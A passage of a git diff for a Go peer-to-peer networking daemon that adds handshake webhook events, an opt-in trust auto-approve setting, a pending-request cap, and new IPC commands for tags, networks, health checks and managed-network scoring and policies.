handleRequest(conn *Connection, msg *HandshakeMsg) { peerNodeID := msg.NodeID slog.Info("handshake request received", "peer_node_id", peerNodeID, "justification", msg.Justification) + hm.webhook.Emit("handshake.received", map[string]interface{}{ + "peer_node_id": peerNodeID, "justification": msg.Justification, + }) hm.mu.Lock() defer hm.mu.Unlock() @@ -367,6 +404,9 @@ func (hm *HandshakeManager) handleRequest(conn *Connection, msg *HandshakeMsg) { Mutual: true, } slog.Info("mutual handshake auto-approved", "peer_node_id", peerNodeID) + hm.webhook.Emit("handshake.auto_approved", map[string]interface{}{ + "peer_node_id": peerNodeID, "reason": "mutual", + }) hm.saveTrust() hm.sendAcceptLocked(peerNodeID) // Report trust to registry @@ -385,6 +425,9 @@ func (hm *HandshakeManager) handleRequest(conn *Connection, msg *HandshakeMsg) { Network: hm.sharedNetwork(peerNodeID), } slog.Info("same network handshake auto-approved", "peer_node_id", peerNodeID) + hm.webhook.Emit("handshake.auto_approved", map[string]interface{}{ + "peer_node_id": peerNodeID, "reason": "same_network", + }) hm.saveTrust() hm.sendAcceptLocked(peerNodeID) // Report trust to registry @@ -394,7 +437,31 @@ func (hm *HandshakeManager) handleRequest(conn *Connection, msg *HandshakeMsg) { return } - // Store as pending + // Auto-approve all requests when the daemon is configured to do so. + if hm.daemon.config.TrustAutoApprove { + hm.trusted[peerNodeID] = &TrustRecord{ + NodeID: peerNodeID, + PublicKey: msg.PublicKey, + ApprovedAt: time.Now(), + Mutual: false, + } + slog.Info("handshake auto-approved (trust-auto-approve enabled)", "peer_node_id", peerNodeID) + hm.webhook.Emit("handshake.auto_approved", map[string]interface{}{ + "peer_node_id": peerNodeID, "reason": "auto_approve", + }) + hm.saveTrust() + hm.sendAcceptLocked(peerNodeID) + if hm.daemon.regConn != nil { + hm.goRPC(func() { hm.daemon.regConn.ReportTrust(hm.daemon.NodeID(), peerNodeID) }) + } + return + } + + // Store as pending (cap to prevent unbounded growth from spam) + if _, exists := hm.pending[peerNodeID]; !exists && len(hm.pending) >= maxPendingHandshakes { + slog.Warn("pending handshake queue full, rejecting", "peer_node_id", peerNodeID) + return + } hm.pending[peerNodeID] = &PendingHandshake{ NodeID: peerNodeID, PublicKey: msg.PublicKey, @@ -403,6 +470,9 @@ func (hm *HandshakeManager) handleRequest(conn *Connection, msg *HandshakeMsg) { } hm.saveTrust() slog.Info("handshake request pending approval", "peer_node_id", peerNodeID) + hm.webhook.Emit("handshake.pending", map[string]interface{}{ + "peer_node_id": peerNodeID, "justification": msg.Justification, + }) } // handleAccept processes a handshake acceptance from a peer. @@ -521,6 +591,51 @@ func (hm *HandshakeManager) processRelayedRequest(fromNodeID uint32, justificati return } + // Check if peers are on the same network (network trust) + if hm.sameNetwork(fromNodeID) { + hm.trusted[fromNodeID] = &TrustRecord{ + NodeID: fromNodeID, + ApprovedAt: time.Now(), + Network: hm.sharedNetwork(fromNodeID), + } + slog.Info("same network relayed handshake auto-approved", "peer_node_id", fromNodeID) + hm.saveTrust() + if hm.daemon.regConn != nil { + nodeID, peerID := hm.daemon.NodeID(), fromNodeID + sig := hm.signHandshakeChallenge(fmt.Sprintf("respond:%d:%d", nodeID, peerID)) + hm.goRPC(func() { + hm.daemon.regConn.RespondHandshake(nodeID, peerID, true, sig) + hm.daemon.regConn.ReportTrust(nodeID, peerID) + hm.backfillPeerKey(peerID) + }) + } + return + } + + // Auto-approve all requests when the daemon is configured to do so. + if hm.daemon.config.TrustAutoApprove { + hm.trusted[fromNodeID] = &TrustRecord{ + NodeID: fromNodeID, + ApprovedAt: time.Now(), + Mutual: false, + } + slog.Info("relayed handshake auto-approved (trust-auto-approve enabled)", "peer_node_id", fromNodeID) + hm.webhook.Emit("handshake.auto_approved", map[string]interface{}{ + "peer_node_id": fromNodeID, "reason": "auto_approve", + }) + hm.saveTrust() + if hm.daemon.regConn != nil { + nodeID, peerID := hm.daemon.NodeID(), fromNodeID + sig := hm.signHandshakeChallenge(fmt.Sprintf("respond:%d:%d", nodeID, peerID)) + hm.goRPC(func() { + hm.daemon.regConn.RespondHandshake(nodeID, peerID, true, sig) + hm.daemon.regConn.ReportTrust(nodeID, peerID) + hm.backfillPeerKey(peerID) + }) + } + return + } + // Store as pending (for manual approval via pilotctl approve) hm.pending[fromNodeID] = &PendingHandshake{ NodeID: fromNodeID, @@ -612,6 +727,9 @@ func (hm *HandshakeManager) ApproveHandshake(peerNodeID uint32) error { hm.mu.Unlock() slog.Info("handshake approved", "peer_node_id", peerNodeID) + hm.webhook.Emit("handshake.approved", map[string]interface{}{ + "peer_node_id": peerNodeID, + }) // Report trust to registry (creates the trust pair for resolve authorization) if hm.daemon.regConn != nil { @@ -637,6 +755,9 @@ func (hm *HandshakeManager) RejectHandshake(peerNodeID uint32, reason string) er hm.mu.Unlock() slog.Info("handshake rejected", "peer_node_id", peerNodeID, "reason", reason) + hm.webhook.Emit("handshake.rejected", map[string]interface{}{ + "peer_node_id": peerNodeID, "reason": reason, + }) // Relay rejection via registry so the requester learns about it even behind NAT if hm.daemon.regConn != nil { @@ -684,6 +805,9 @@ func (hm *HandshakeManager) RevokeTrust(peerNodeID uint32) error { } slog.Info("trust revoked", "peer_node_id", peerNodeID) + hm.webhook.Emit("trust.revoked", map[string]interface{}{ + "peer_node_id": peerNodeID, + }) // Tear down the tunnel to the revoked peer immediately hm.daemon.tunnels.RemovePeer(peerNodeID) @@ -716,6 +840,9 @@ func (hm *HandshakeManager) RevokeTrust(peerNodeID uint32) error { func (hm *HandshakeManager) handleRevokeMsg(msg *HandshakeMsg) { peerNodeID := msg.NodeID slog.Info("trust revoked by peer", "peer_node_id", peerNodeID) + hm.webhook.Emit("trust.revoked_by_peer", map[string]interface{}{ + "peer_node_id": peerNodeID, + }) hm.mu.Lock() _, wasTrusted := hm.trusted[peerNodeID] @@ -767,6 +894,13 @@ func (hm *HandshakeManager) PendingRequests() []PendingHandshake { return list } +// PendingCount returns the number of pending handshake requests. +func (hm *HandshakeManager) PendingCount() int { + hm.mu.RLock() + defer hm.mu.RUnlock() + return len(hm.pending) +} + // sendAcceptLocked sends an accept message (caller must hold hm.mu). func (hm *HandshakeManager) sendAcceptLocked(peerNodeID uint32) { hm.goRPC(func() { @@ -838,7 +972,7 @@ func (hm *HandshakeManager) sendMessage(peerNodeID uint32, msg *HandshakeMsg) er // Close after brief delay to let the data flush hm.goRPC(func() { - time.Sleep(500 * time.Millisecond) + time.Sleep(handshakeCloseDelay) hm.daemon.CloseConnection(conn) }) diff --git a/pkg/daemon/ipc.go b/pkg/daemon/ipc.go index cb82c564..a8308be8 100644 --- a/pkg/daemon/ipc.go +++ b/pkg/daemon/ipc.go @@ -10,26 +10,26 @@ import ( "os" "sync" - "web4/internal/ipcutil" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/internal/ipcutil" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) // IPC commands (daemon ↔ driver) const ( - CmdBind byte = 0x01 - CmdBindOK byte = 0x02 - CmdDial byte = 0x03 - CmdDialOK byte = 0x04 - CmdAccept byte = 0x05 - CmdSend byte = 0x06 - CmdRecv byte = 0x07 - CmdClose byte = 0x08 - CmdCloseOK byte = 0x09 - CmdError byte = 0x0A - CmdSendTo byte = 0x0B - CmdRecvFrom byte = 0x0C - CmdInfo byte = 0x0D - CmdInfoOK byte = 0x0E + CmdBind byte = 0x01 + CmdBindOK byte = 0x02 + CmdDial byte = 0x03 + CmdDialOK byte = 0x04 + CmdAccept byte = 0x05 + CmdSend byte = 0x06 + CmdRecv byte = 0x07 + CmdClose byte = 0x08 + CmdCloseOK byte = 0x09 + CmdError byte = 0x0A + CmdSendTo byte = 0x0B + CmdRecvFrom byte = 0x0C + CmdInfo byte = 0x0D + CmdInfoOK byte = 0x0E CmdHandshake byte = 0x0F // driver → daemon: handshake request/approve/reject CmdHandshakeOK byte = 0x10 CmdResolveHostname byte = 0x11 @@ -40,6 +40,39 @@ const ( CmdSetVisibilityOK byte = 0x16 CmdDeregister byte = 0x17 CmdDeregisterOK byte = 0x18 + CmdSetTags byte = 0x19 + CmdSetTagsOK byte = 0x1A + CmdSetWebhook byte = 0x1B + CmdSetWebhookOK byte = 0x1C + CmdSetTaskExec byte = 0x1D + CmdSetTaskExecOK byte = 0x1E + CmdNetwork byte = 0x1F + CmdNetworkOK byte = 0x20 + CmdHealth byte = 0x21 + CmdHealthOK byte = 0x22 + CmdManaged byte = 0x23 + CmdManagedOK byte = 0x24 +) + +// Network sub-commands (second byte of CmdNetwork payload) +const ( + SubNetworkList byte = 0x01 + SubNetworkJoin byte = 0x02 + SubNetworkLeave byte = 0x03 + SubNetworkMembers byte = 0x04 + SubNetworkInvite byte = 0x05 + SubNetworkPollInvites byte = 0x06 + SubNetworkRespondInvite byte = 0x07 +) + +// Managed sub-commands (second byte of CmdManaged payload) +const ( + SubManagedScore byte = 0x01 + SubManagedStatus byte = 0x02 + SubManagedRankings byte = 0x03 + SubManagedCycle byte = 0x04 + SubManagedPolicy byte = 0x05 // get/set expr policy + SubManagedMemberTags byte = 0x06 // get/set member tags ) // ipcConn wraps a net.Conn with a write mutex for goroutine safety. @@ -48,8 +81,8 @@ type ipcConn struct { net.Conn wmu sync.Mutex rmu sync.Mutex - ports []uint16 // ports bound by this client - conns []uint32 // connection IDs owned by this client + ports []uint16 // ports bound by this client + conns []uint32 // connection IDs owned by this client } func (c *ipcConn) ipcWrite(data []byte) error { @@ -60,14 +93,14 @@ func (c *ipcConn) ipcWrite(data []byte) error { func (c *ipcConn) trackPort(port uint16) { c.rmu.Lock() + defer c.rmu.Unlock() c.ports = append(c.ports, port) - c.rmu.Unlock() } func (c *ipcConn) trackConn(connID uint32) { c.rmu.Lock() + defer c.rmu.Unlock() c.conns = append(c.conns, connID) - c.rmu.Unlock() } // IPCServer handles connections from local drivers over Unix socket. @@ -196,6 +229,18 @@ func (s *IPCServer) handleClient(conn *ipcConn) { s.handleSetVisibility(conn, payload) case CmdDeregister: s.handleDeregister(conn) + case CmdSetTags: + s.handleSetTags(conn, payload) + case CmdSetWebhook: + s.handleSetWebhook(conn, payload) + case CmdSetTaskExec: + s.handleSetTaskExec(conn, payload) + case CmdNetwork: + s.handleNetwork(conn, payload) + case CmdHealth: + s.handleHealth(conn) + case CmdManaged: + s.handleManaged(conn, payload) default: s.sendError(conn, fmt.Sprintf("unknown command: 0x%02X", cmd)) } @@ -242,26 +287,7 @@ func (s *IPCServer) handleBind(conn *ipcConn, payload []byte) { return } - // Start pushing received data - go func(c *Connection) { - for data := range c.RecvBuf { - msg := make([]byte, 1+4+len(data)) - msg[0] = CmdRecv - binary.BigEndian.PutUint32(msg[1:5], c.ID) - copy(msg[5:], data) - if err := conn.ipcWrite(msg); err != nil { - slog.Debug("IPC recv push failed", "conn_id", c.ID, "err", err) - return - } - } - // RecvBuf closed — notify driver the connection is done - closeMsg := make([]byte, 5) - closeMsg[0] = CmdCloseOK - binary.BigEndian.PutUint32(closeMsg[1:5], c.ID) - if err := conn.ipcWrite(closeMsg); err != nil { - slog.Debug("IPC close notify failed", "conn_id", c.ID, "err", err) - } - }(c) + s.startRecvPusher(conn, c) } }() } @@ -292,26 +318,7 @@ func (s *IPCServer) handleDial(conn *ipcConn, payload []byte) { return } - // Start pushing received data - go func() { - for data := range c.RecvBuf { - msg := make([]byte, 1+4+len(data)) - msg[0] = CmdRecv - binary.BigEndian.PutUint32(msg[1:5], c.ID) - copy(msg[5:], data) - if err := conn.ipcWrite(msg); err != nil { - slog.Debug("IPC recv push failed", "conn_id", c.ID, "err", err) - return - } - } - // RecvBuf closed — notify driver the connection is done - closeMsg := make([]byte, 5) - closeMsg[0] = CmdCloseOK - binary.BigEndian.PutUint32(closeMsg[1:5], c.ID) - if err := conn.ipcWrite(closeMsg); err != nil { - slog.Debug("IPC close notify failed", "conn_id", c.ID, "err", err) - } - }() + s.startRecvPusher(conn, c) } func (s *IPCServer) handleSend(conn *ipcConn, payload []byte) { @@ -386,53 +393,58 @@ func (s *IPCServer) handleInfo(conn *ipcConn) { conns := make([]map[string]interface{}, len(info.ConnList)) for i, c := range info.ConnList { conns[i] = map[string]interface{}{ - "id": c.ID, - "local_port": c.LocalPort, - "remote_addr": c.RemoteAddr, - "remote_port": c.RemotePort, - "state": c.State, - "cong_win": c.CongWin, - "ssthresh": c.SSThresh, - "in_flight": c.InFlight, - "srtt_ms": float64(c.SRTT.Milliseconds()), - "rttvar_ms": float64(c.RTTVAR.Milliseconds()), - "unacked": c.Unacked, - "ooo_buf": c.OOOBuf, + "id": c.ID, + "local_port": c.LocalPort, + "remote_addr": c.RemoteAddr, + "remote_port": c.RemotePort, + "state": c.State, + "cong_win": c.CongWin, + "ssthresh": c.SSThresh, + "in_flight": c.InFlight, + "srtt_ms": float64(c.SRTT.Milliseconds()), + "rttvar_ms": float64(c.RTTVAR.Milliseconds()), + "unacked": c.Unacked, + "ooo_buf": c.OOOBuf, "peer_recv_win": c.PeerRecvWin, - "recv_win": c.RecvWin, - "in_recovery": c.InRecovery, - "bytes_sent": c.Stats.BytesSent, - "bytes_recv": c.Stats.BytesRecv, - "segs_sent": c.Stats.SegsSent, - "segs_recv": c.Stats.SegsRecv, - "retransmits": c.Stats.Retransmits, - "fast_retx": c.Stats.FastRetx, - "sack_recv": c.Stats.SACKRecv, - "sack_sent": c.Stats.SACKSent, - "dup_acks": c.Stats.DupACKs, + "recv_win": c.RecvWin, + "in_recovery": c.InRecovery, + "bytes_sent": c.Stats.BytesSent, + "bytes_recv": c.Stats.BytesRecv, + "segs_sent": c.Stats.SegsSent, + "segs_recv": c.Stats.SegsRecv, + "retransmits": c.Stats.Retransmits, + "fast_retx": c.Stats.FastRetx, + "sack_recv": c.Stats.SACKRecv, + "sack_sent": c.Stats.SACKSent, + "dup_acks": c.Stats.DupACKs, } } data, err := json.Marshal(map[string]interface{}{ - "node_id": info.NodeID, - "address": info.Address, - "hostname": info.Hostname, - "uptime_secs": info.Uptime.Seconds(), - "connections": info.Connections, - "ports": info.Ports, - "peers": info.Peers, - "encrypted_peers": info.EncryptedPeers, - "authenticated_peers": info.AuthenticatedPeers, - "encrypt": info.Encrypt, - "identity": info.Identity, - "public_key": info.PublicKey, - "owner": info.Owner, - "bytes_sent": info.BytesSent, - "bytes_recv": info.BytesRecv, - "pkts_sent": info.PktsSent, - "pkts_recv": info.PktsRecv, - "peer_list": peers, - "conn_list": conns, + "node_id": info.NodeID, + "address": info.Address, + "hostname": info.Hostname, + "uptime_secs": info.Uptime.Seconds(), + "connections": info.Connections, + "ports": info.Ports, + "peers": info.Peers, + "encrypted_peers": info.EncryptedPeers, + "authenticated_peers": info.AuthenticatedPeers, + "encrypt": info.Encrypt, + "identity": info.Identity, + "public_key": info.PublicKey, + "email": info.Email, + "bytes_sent": info.BytesSent, + "bytes_recv": info.BytesRecv, + "pkts_sent": info.PktsSent, + "pkts_recv": info.PktsRecv, + "tunnel_encryption_success": info.EncryptOK, + "tunnel_encryption_failure": info.EncryptFail, + "handshake_pending_count": info.HandshakePendingCount, + "version": info.Version, + "networks": info.Networks, + "peer_list": peers, + "conn_list": conns, }) if err != nil { s.sendError(conn, fmt.Sprintf("info marshal: %v", err)) @@ -446,6 +458,28 @@ func (s *IPCServer) handleInfo(conn *ipcConn) { } } +func (s *IPCServer) handleHealth(conn *ipcConn) { + info := s.daemon.Info() + data, err := json.Marshal(map[string]interface{}{ + "status": "ok", + "uptime_seconds": int64(info.Uptime.Seconds()), + "connections": info.Connections, + "peers": info.Peers, + "bytes_sent": info.BytesSent, + "bytes_recv": info.BytesRecv, + }) + if err != nil { + s.sendError(conn, fmt.Sprintf("health marshal: %v", err)) + return + } + resp := make([]byte, 1+len(data)) + resp[0] = CmdHealthOK + copy(resp[1:], data) + if err := conn.ipcWrite(resp); err != nil { + slog.Debug("IPC health reply failed", "err", err) + } +} + func (s *IPCServer) handleResolveHostname(conn *ipcConn, payload []byte) { hostname := string(payload) if hostname == "" { @@ -544,6 +578,77 @@ func (s *IPCServer) handleDeregister(conn *ipcConn) { } } +func (s *IPCServer) handleSetTags(conn *ipcConn, payload []byte) { + var tags []string + if err := json.Unmarshal(payload, &tags); err != nil { + s.sendError(conn, fmt.Sprintf("set_tags: invalid JSON: %v", err)) + return + } + if len(tags) > 3 { + s.sendError(conn, "set_tags: maximum 3 tags allowed") + return + } + result, err := s.daemon.regConn.SetTags(s.daemon.NodeID(), tags) + if err != nil { + s.sendError(conn, fmt.Sprintf("set_tags: %v", err)) + return + } + data, err := json.Marshal(result) + if err != nil { + s.sendError(conn, fmt.Sprintf("set_tags marshal: %v", err)) + return + } + resp := make([]byte, 1+len(data)) + resp[0] = CmdSetTagsOK + copy(resp[1:], data) + if err := conn.ipcWrite(resp); err != nil { + slog.Debug("IPC set_tags reply failed", "err", err) + } +} + +func (s *IPCServer) handleSetWebhook(conn *ipcConn, payload []byte) { + url := string(payload) // empty string = clear webhook + if url != "" { + if err := ValidateWebhookURL(url); err != nil { + s.sendError(conn, err.Error()) + return + } + } + s.daemon.SetWebhookURL(url) + result := map[string]interface{}{"webhook": url} + data, _ := json.Marshal(result) + resp := make([]byte, 1+len(data)) + resp[0] = CmdSetWebhookOK + copy(resp[1:], data) + if err := conn.ipcWrite(resp); err != nil { + slog.Debug("IPC set_webhook reply failed", "err", err) + } +} + +func (s *IPCServer) handleSetTaskExec(conn *ipcConn, payload []byte) { + if len(payload) < 1 { + s.sendError(conn, "set_task_exec: missing value") + return + } + enabled := payload[0] == 1 + result, err := s.daemon.regConn.SetTaskExec(s.daemon.NodeID(), enabled) + if err != nil { + s.sendError(conn, fmt.Sprintf("set_task_exec: %v", err)) + return + } + data, err := json.Marshal(result) + if err != nil { + s.sendError(conn, fmt.Sprintf("set_task_exec marshal: %v", err)) + return + } + resp := make([]byte, 1+len(data)) + resp[0] = CmdSetTaskExecOK + copy(resp[1:], data) + if err := conn.ipcWrite(resp); err != nil { + slog.Debug("IPC set_task_exec reply failed", "err", err) + } +} + // Handshake IPC sub-commands const ( SubHandshakeSend byte = 0x01 @@ -682,6 +787,184 @@ func (s *IPCServer) ipcWriteHandshakeOK(conn *ipcConn, data []byte) { } } +func (s *IPCServer) ipcWriteNetworkOK(conn *ipcConn, data []byte) { + resp := make([]byte, 1+len(data)) + resp[0] = CmdNetworkOK + copy(resp[1:], data) + if err := conn.ipcWrite(resp); err != nil { + slog.Debug("IPC network reply failed", "err", err) + } +} + +func (s *IPCServer) handleNetwork(conn *ipcConn, payload []byte) { + if len(payload) < 1 { + s.sendError(conn, "network: missing sub-command") + return + } + sub := payload[0] + rest := payload[1:] + + switch sub { + case SubNetworkList: + result, err := s.daemon.regConn.ListNetworks() + if err != nil { + s.sendError(conn, fmt.Sprintf("network list: %v", err)) + return + } + data, _ := json.Marshal(result) + s.ipcWriteNetworkOK(conn, data) + + case SubNetworkJoin: + // [2-byte networkID][token...] + if len(rest) < 2 { + s.sendError(conn, "network join: missing network_id") + return + } + netID := binary.BigEndian.Uint16(rest[0:2]) + token := "" + if len(rest) > 2 { + token = string(rest[2:]) + } + result, err := s.daemon.regConn.JoinNetwork( + s.daemon.NodeID(), netID, token, 0, s.daemon.config.AdminToken, + ) + if err != nil { + s.sendError(conn, fmt.Sprintf("network join: %v", err)) + return + } + data, _ := json.Marshal(result) + s.ipcWriteNetworkOK(conn, data) + // Refresh port policy cache for the newly joined network + go s.daemon.loadNetworkPolicies() + // Start policy runner if the network has an expr_policy + if epRaw, ok := result["expr_policy"]; ok { + var policyJSON json.RawMessage + switch v := epRaw.(type) { + case string: + policyJSON = json.RawMessage(v) + case map[string]interface{}: + policyJSON, _ = json.Marshal(v) + } + if len(policyJSON) > 0 { + if err := s.daemon.StartPolicyRunner(netID, policyJSON); err != nil { + slog.Warn("policy: failed to start runner on join", "network_id", netID, "err", err) + } + } + } + + case SubNetworkLeave: + // [2-byte networkID] + if len(rest) < 2 { + s.sendError(conn, "network leave: missing network_id") + return + } + netID := binary.BigEndian.Uint16(rest[0:2]) + result, err := s.daemon.regConn.LeaveNetwork( + s.daemon.NodeID(), netID, s.daemon.config.AdminToken, + ) + if err != nil { + s.sendError(conn, fmt.Sprintf("network leave: %v", err)) + return + } + data, _ := json.Marshal(result) + s.ipcWriteNetworkOK(conn, data) + + // Clean up local state for the left network. + go func() { + s.daemon.StopPolicyRunner(netID) + s.daemon.StopManagedEngine(netID) + s.daemon.clearNetworkState(netID) + s.daemon.loadNetworkPolicies() + }() + + case SubNetworkMembers: + // [2-byte networkID] + if len(rest) < 2 { + s.sendError(conn, "network members: missing network_id") + return + } + netID := binary.BigEndian.Uint16(rest[0:2]) + result, err := s.daemon.regConn.ListNodes(netID, s.daemon.config.AdminToken) + if err != nil { + s.sendError(conn, fmt.Sprintf("network members: %v", err)) + return + } + data, _ := json.Marshal(result) + s.ipcWriteNetworkOK(conn, data) + + case SubNetworkInvite: + // [2-byte networkID][4-byte targetNodeID] + if len(rest) < 6 { + s.sendError(conn, "network invite: missing network_id or target_node_id") + return + } + netID := binary.BigEndian.Uint16(rest[0:2]) + targetID := binary.BigEndian.Uint32(rest[2:6]) + result, err := s.daemon.regConn.InviteToNetwork( + netID, s.daemon.NodeID(), targetID, s.daemon.config.AdminToken, + ) + if err != nil { + s.sendError(conn, fmt.Sprintf("network invite: %v", err)) + return + } + data, _ := json.Marshal(result) + s.ipcWriteNetworkOK(conn, data) + + case SubNetworkPollInvites: + result, err := s.daemon.regConn.PollInvites(s.daemon.NodeID()) + if err != nil { + s.sendError(conn, fmt.Sprintf("network poll-invites: %v", err)) + return + } + data, _ := json.Marshal(result) + s.ipcWriteNetworkOK(conn, data) + + case SubNetworkRespondInvite: + // [2-byte networkID][1-byte accept] + if len(rest) < 3 { + s.sendError(conn, "network respond-invite: missing network_id or accept flag") + return + } + netID := binary.BigEndian.Uint16(rest[0:2]) + accept := rest[2] == 1 + result, err := s.daemon.regConn.RespondInvite( + s.daemon.NodeID(), netID, accept, + ) + if err != nil { + s.sendError(conn, fmt.Sprintf("network respond-invite: %v", err)) + return + } + data, _ := json.Marshal(result) + s.ipcWriteNetworkOK(conn, data) + + default: + s.sendError(conn, fmt.Sprintf("network: unknown sub-command 0x%02X", sub)) + } +} + +// startRecvPusher drains c.RecvBuf and pushes data to the IPC client. +// When RecvBuf closes (remote FIN), it sends CmdCloseOK to the driver. +func (s *IPCServer) startRecvPusher(conn *ipcConn, c *Connection) { + go func() { + for data := range c.RecvBuf { + msg := make([]byte, 1+4+len(data)) + msg[0] = CmdRecv + binary.BigEndian.PutUint32(msg[1:5], c.ID) + copy(msg[5:], data) + if err := conn.ipcWrite(msg); err != nil { + slog.Debug("IPC recv push failed", "conn_id", c.ID, "err", err) + return + } + } + closeMsg := make([]byte, 5) + closeMsg[0] = CmdCloseOK + binary.BigEndian.PutUint32(closeMsg[1:5], c.ID) + if err := conn.ipcWrite(closeMsg); err != nil { + slog.Debug("IPC close notify failed", "conn_id", c.ID, "err", err) + } + }() +} + func (s *IPCServer) sendError(conn *ipcConn, msg string) { resp := make([]byte, 1+2+len(msg)) resp[0] = CmdError @@ -718,3 +1001,239 @@ func (s *IPCServer) DeliverDatagram(srcAddr protocol.Addr, srcPort uint16, dstPo } } +func (s *IPCServer) handleManaged(conn *ipcConn, payload []byte) { + if len(payload) < 1 { + s.sendError(conn, "managed: missing sub-command") + return + } + sub := payload[0] + rest := payload[1:] + + switch sub { + case SubManagedScore: + // [2-byte netID][4-byte nodeID][4-byte delta (int32)][topic...] + if len(rest) < 10 { + s.sendError(conn, "managed score: missing fields (need netID + nodeID + delta)") + return + } + netID := binary.BigEndian.Uint16(rest[0:2]) + nodeID := binary.BigEndian.Uint32(rest[2:6]) + delta := int(int32(binary.BigEndian.Uint32(rest[6:10]))) + topic := "" + if len(rest) > 10 { + topic = string(rest[10:]) + } + + me := s.daemon.GetManagedEngine(netID) + if me != nil { + if err := me.Score(nodeID, delta, topic); err != nil { + s.sendError(conn, fmt.Sprintf("managed score: %v", err)) + return + } + } else if pr := s.daemon.GetPolicyRunner(netID); pr != nil { + if err := pr.Score(nodeID, delta, topic); err != nil { + s.sendError(conn, fmt.Sprintf("managed score: %v", err)) + return + } + } else { + s.sendError(conn, fmt.Sprintf("managed: no engine for network %d", netID)) + return + } + + data, _ := json.Marshal(map[string]interface{}{ + "type": "managed_score_ok", + "node_id": nodeID, + "delta": delta, + "topic": topic, + }) + s.ipcWriteManagedOK(conn, data) + + case SubManagedStatus: + // [2-byte netID] (optional — 0 means first/only engine) + netID := uint16(0) + if len(rest) >= 2 { + netID = binary.BigEndian.Uint16(rest[0:2]) + } + + if me := s.findManagedEngine(netID); me != nil { + data, _ := json.Marshal(me.Status()) + s.ipcWriteManagedOK(conn, data) + } else if pr := s.findPolicyRunner(netID); pr != nil { + data, _ := json.Marshal(pr.Status()) + s.ipcWriteManagedOK(conn, data) + } else { + s.sendError(conn, "managed: no active managed networks") + } + + case SubManagedRankings: + // [2-byte netID] (optional) + netID := uint16(0) + if len(rest) >= 2 { + netID = binary.BigEndian.Uint16(rest[0:2]) + } + + var rankings []map[string]interface{} + if me := s.findManagedEngine(netID); me != nil { + rankings = me.Rankings() + } else if pr := s.findPolicyRunner(netID); pr != nil { + rankings = pr.Rankings() + } else { + s.sendError(conn, "managed: no active managed networks") + return + } + + data, _ := json.Marshal(map[string]interface{}{ + "type": "managed_rankings_ok", + "rankings": rankings, + }) + s.ipcWriteManagedOK(conn, data) + + case SubManagedCycle: + // [2-byte netID] (optional) + netID := uint16(0) + if len(rest) >= 2 { + netID = binary.BigEndian.Uint16(rest[0:2]) + } + + var result map[string]interface{} + if me := s.findManagedEngine(netID); me != nil { + result = me.ForceCycle() + } else if pr := s.findPolicyRunner(netID); pr != nil { + result = pr.ForceCycle() + } else { + s.sendError(conn, "managed: no active managed networks") + return + } + + data, _ := json.Marshal(result) + s.ipcWriteManagedOK(conn, data) + + case SubManagedPolicy: + // Sub-sub-command: [0x00=get][2-byte netID] or [0x01=set][2-byte netID][policy JSON...] + if len(rest) < 3 { + s.sendError(conn, "managed policy: missing sub-sub-command and network_id") + return + } + action := rest[0] + netID := binary.BigEndian.Uint16(rest[1:3]) + + switch action { + case 0x00: // get + pr := s.daemon.GetPolicyRunner(netID) + resp := map[string]interface{}{ + "type": "managed_policy_ok", + "network_id": netID, + } + if pr != nil { + policyData, _ := json.Marshal(pr.Policy().Doc) + resp["expr_policy"] = json.RawMessage(policyData) + resp["engine"] = "policy" + } else if me := s.daemon.GetManagedEngine(netID); me != nil { + resp["engine"] = "managed" + } else { + resp["engine"] = "none" + } + data, _ := json.Marshal(resp) + s.ipcWriteManagedOK(conn, data) + case 0x01: // set — reload policy from registry + policyJSON := rest[3:] + if len(policyJSON) == 0 { + s.sendError(conn, "managed policy set: missing policy JSON") + return + } + if err := s.daemon.StartPolicyRunner(netID, policyJSON); err != nil { + s.sendError(conn, fmt.Sprintf("managed policy set: %v", err)) + return + } + data, _ := json.Marshal(map[string]interface{}{ + "type": "managed_policy_ok", + "network_id": netID, + "applied": true, + }) + s.ipcWriteManagedOK(conn, data) + default: + s.sendError(conn, fmt.Sprintf("managed policy: unknown action 0x%02X", action)) + } + + case SubManagedMemberTags: + // Sub-sub-command: [0x00=get][2-byte netID][4-byte nodeID] or [0x01=set][2-byte netID][4-byte nodeID][tags JSON...] + if len(rest) < 7 { + s.sendError(conn, "managed member-tags: missing action, network_id, or node_id") + return + } + action := rest[0] + tagNetID := binary.BigEndian.Uint16(rest[1:3]) + targetNodeID := binary.BigEndian.Uint32(rest[3:7]) + + switch action { + case 0x00: // get + resp, err := s.daemon.regConn.GetMemberTags(tagNetID, targetNodeID) + if err != nil { + s.sendError(conn, fmt.Sprintf("member-tags get: %v", err)) + return + } + data, _ := json.Marshal(resp) + s.ipcWriteManagedOK(conn, data) + case 0x01: // set + if len(rest) < 8 { + s.sendError(conn, "managed member-tags set: missing tags JSON") + return + } + var tags []string + if err := json.Unmarshal(rest[7:], &tags); err != nil { + s.sendError(conn, fmt.Sprintf("member-tags set: invalid tags JSON: %v", err)) + return + } + resp, err := s.daemon.regConn.SetMemberTags(tagNetID, targetNodeID, tags, s.daemon.config.AdminToken) + if err != nil { + s.sendError(conn, fmt.Sprintf("member-tags set: %v", err)) + return + } + data, _ := json.Marshal(resp) + s.ipcWriteManagedOK(conn, data) + default: + s.sendError(conn, fmt.Sprintf("managed member-tags: unknown action 0x%02X", action)) + } + + default: + s.sendError(conn, fmt.Sprintf("managed: unknown sub-command 0x%02X", sub)) + } +} + +func (s *IPCServer) ipcWriteManagedOK(conn *ipcConn, data []byte) { + resp := make([]byte, 1+len(data)) + resp[0] = CmdManagedOK + copy(resp[1:], data) + if err := conn.ipcWrite(resp); err != nil { + slog.Debug("IPC managed reply failed", "err", err) + } +} + +// findManagedEngine returns the engine for a specific network, or the first +// engine if netID is 0. +func (s *IPCServer) findManagedEngine(netID uint16) *ManagedEngine { + if netID != 0 { + return s.daemon.GetManagedEngine(netID) + } + // Return first engine + s.daemon.managedMu.Lock() + defer s.daemon.managedMu.Unlock() + for _, me := range s.daemon.managed { + return me + } + return nil +} + +// findPolicyRunner returns the policy runner for a specific network, or the +// first runner if netID is 0. +func (s *IPCServer) findPolicyRunner(netID uint16) *PolicyRunner { + if netID != 0 { + return s.daemon.GetPolicyRunner(netID) + } + s.daemon.policyMu.Lock() + defer s.daemon.policyMu.Unlock() + for _, pr := range s.daemon.policyRunners { + return pr + } + return nil +} diff --git a/pkg/daemon/managed.go b/pkg/daemon/managed.go new file mode 100644 index 00000000..816f3c32 --- /dev/null +++ b/pkg/daemon/managed.go @@ -0,0 +1,461 @@ +package daemon + +import ( + "encoding/json" 